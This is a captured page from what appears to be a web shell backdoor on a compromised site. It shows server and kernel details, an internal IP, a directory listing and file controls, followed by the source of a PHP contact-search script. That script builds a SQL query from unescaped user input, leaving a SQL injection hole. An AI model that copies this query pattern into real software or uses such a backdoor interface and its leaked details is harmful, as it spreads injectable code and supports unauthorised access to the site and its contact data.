Gecko [ v3.cesa.co.za ]

Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains : Cant Read [ /etc/named.conf ]
User : www-data

Name	Size	Permission	Date
css	[ DIR ]	drwxr-sr-x	2011-07-22 10:01
js	[ DIR ]	drwxr-sr-x	2011-07-22 10:01
contacts.php	1.38 KB	-rw-r--r--	2018-03-12 11:00
firms.php	691 B	-rw-r--r--	2021-06-23 10:12
organisation.php	721 B	-rw-r--r--	2011-07-22 10:13
php_errors.log	10.07 KB	-rw-r--r--	2026-08-21 07:27

Rename

<?php
header("Content-type: text/xml");

/*the returned xml has the following structure
<results>
	<rs>foo</rs>
	<rs>bar</rs>
</results>*/

include("../php/inc_db.php");

?>
<results>
<?php
	
	$sSqlWrk = "SELECT * FROM Contacts
	WHERE ";
/*
	if (empty($_GET["Type"])) {
		$sSqlWrk.="(ContactType NOT IN ('OFFICE','SERVPROV','YPF') OR ContactType IS NULL) AND ";
	} else {
		$sSqlWrk.="ContactType='".addslashes($_GET["Type"])."' AND ";
	}
*/	
	$sSqlWrk.=" (UPPER(ContactFirstName) LIKE '%".strtoupper($_GET["Input"])."%'
	OR UPPER(ContactSurname) LIKE '%".strtoupper($_GET["Input"])."%'
	OR UPPER(OrgName) LIKE '%".strtoupper($_GET["Input"])."%')
	 ORDER BY ContactSurname, ContactFirstName, OrgName";
	//echo $sSqlWrk;
	$recwrk = mysql_query($sSqlWrk);
	while ($rswrk = mysql_fetch_assoc($recwrk)) {
		if (!empty($rswrk["ContactSurname"])) {
?><rs id="<?php echo $rswrk["ContactsID"]; ?>" info="<?php 
if ($rswrk["ContactType"]=="OFFICE") {
	echo "Member, ";
} elseif ($rswrk["ContactType"]=="YPF") {
	echo "YPF, ";
} elseif ($rswrk["ContactType"]=="SERVPROV") {
	echo "Serv Prov, ";
} else echo "Other, ";
echo htmlentities(preg_replace('/[\x00-\x1F\x7F-\xFF]/', '', $rswrk["OrgName"])); 
?>"><?php echo preg_replace('/[\x00-\x1F\x7F-\xFF]/', '', $rswrk["ContactFirstName"])." ".preg_replace('/[\x00-\x1F\x7F-\xFF]/', '', $rswrk["ContactSurname"]); ?></rs>
<?php
		}
	}
	mysql_free_result($recwrk);
?></results>